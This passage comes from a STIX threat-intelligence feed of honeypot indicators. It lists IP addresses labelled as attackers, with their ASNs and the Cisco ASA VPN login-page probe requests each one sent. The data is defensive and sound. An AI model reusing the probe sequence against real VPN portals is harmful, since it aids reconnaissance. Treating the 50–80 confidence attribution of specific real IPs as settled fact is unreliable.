      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:20:11.000Z",
      "valid_until": "2026-05-20T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T04:35:51.797Z",
          "last_seen": "2026-04-18T04:36:00.186Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--891d9fa7-5734-4459-ac6d-e688cc7674ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:20:11.000Z",
      "valid_until": "2026-05-20T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-18T04:34:11.828Z",
          "last_seen": "2026-04-30T03:47:50.352Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--5652b7da-ef00-4156-96ba-1777b489e3a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:20:11.000Z",
      "valid_until": "2026-05-20T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T05:14:27.131Z",
          "last_seen": "2026-04-18T05:14:34.493Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--a9cf9965-0023-47b4-85ec-53fe7e45aff9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:20:11.000Z",
      "valid_until": "2026-05-20T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-18T04:48:11.990Z",
          "last_seen": "2026-04-30T01:03:30.983Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--e31a6e60-21f4-4a01-bf14-486468f867fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:20:11.000Z",
      "valid_until": "2026-05-20T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-18T04:45:55.901Z",
          "last_seen": "2026-04-18T04:45:55.901Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--6ca31cfd-ee7c-4209-97d8-39a786d48e4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T05:20:11.000Z",
      "valid_until": "2026-05-20T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-02T09:10:45.879Z",
          "last_seen": "2026-04-24T21:53:02.720Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--adf79729-94d8-41db-84c9-860446d2f59b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:20:10.000Z",
      "valid_until": "2026-05-20T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T05:28:33.302Z",
          "last_seen": "2026-04-28T05:19:28.608Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f3a58627-d587-421c-bc37-c1d1d89d7f94",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:20:10.000Z",
      "valid_until": "2026-05-20T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T05:39:19.015Z",
          "last_seen": "2026-04-24T17:08:09.999Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--94a4a9a9-213e-42ae-b741-b89a3748e335",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:20:10.000Z",
      "valid_until": "2026-05-20T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-18T05:58:16.086Z",
          "last_seen": "2026-04-18T05:58:16.086Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--dde525b9-b57c-4c4b-98be-9febff70f03d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:20:10.000Z",
      "valid_until": "2026-05-20T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T06:11:27.987Z",
          "last_seen": "2026-04-30T06:02:25.493Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4d38956b-5682-4570-97a2-8283e005d42a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:20:10.000Z",
      "valid_until": "2026-05-20T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T06:06:45.813Z",
          "last_seen": "2026-04-28T06:26:23.309Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0779dc6c-269b-49ad-b8a4-710226306aeb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:20:10.000Z",
      "valid_until": "2026-05-20T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-18T05:56:53.000Z",
          "last_seen": "2026-04-24T19:56:17.299Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--58c8c2a3-271d-4912-99a0-475796caec53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:20:10.000Z",
      "valid_until": "2026-05-20T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T05:50:36.192Z",
          "last_seen": "2026-04-27T11:50:50.117Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1a47af7d-bb3b-401e-8114-dc8be8c5649b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:20:10.000Z",
      "valid_until": "2026-05-20T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T05:48:40.951Z",
          "last_seen": "2026-04-27T14:35:31.456Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--be8997e9-aeb1-44e0-ac2e-2df1cd7b5bf2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T06:20:10.000Z",
      "valid_until": "2026-05-20T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T05:57:09.529Z",
          "last_seen": "2026-04-29T12:06:43.444Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--93c2d6c4-6056-47a4-81d0-f79c02143648",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:20:10.000Z",
      "valid_until": "2026-05-20T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-18T07:03:57.261Z",
          "last_seen": "2026-04-29T09:40:35.801Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a1d02d17-d3d4-409a-99bd-c75e798ea02f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:20:10.000Z",
      "valid_until": "2026-05-20T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T07:08:33.470Z",
          "last_seen": "2026-04-29T02:56:41.982Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c5956d6f-0f91-458c-b7e6-2aca2d9566da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:20:10.000Z",
      "valid_until": "2026-05-20T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T06:25:25.444Z",
          "last_seen": "2026-04-25T14:18:10.835Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e8cf0c6c-7a95-4d02-84d7-33976c2ac62c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:20:10.000Z",
      "valid_until": "2026-05-20T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T06:33:44.184Z",
          "last_seen": "2026-04-21T01:51:08.116Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3b47a513-96f0-469f-86f2-b99022855490",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:20:10.000Z",
      "valid_until": "2026-05-20T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T06:53:54.705Z",
          "last_seen": "2026-04-21T01:27:33.628Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--abc0398a-ca1f-469f-82e0-fd5f9dbf2933",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:20:10.000Z",
      "valid_until": "2026-05-20T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T06:32:20.118Z",
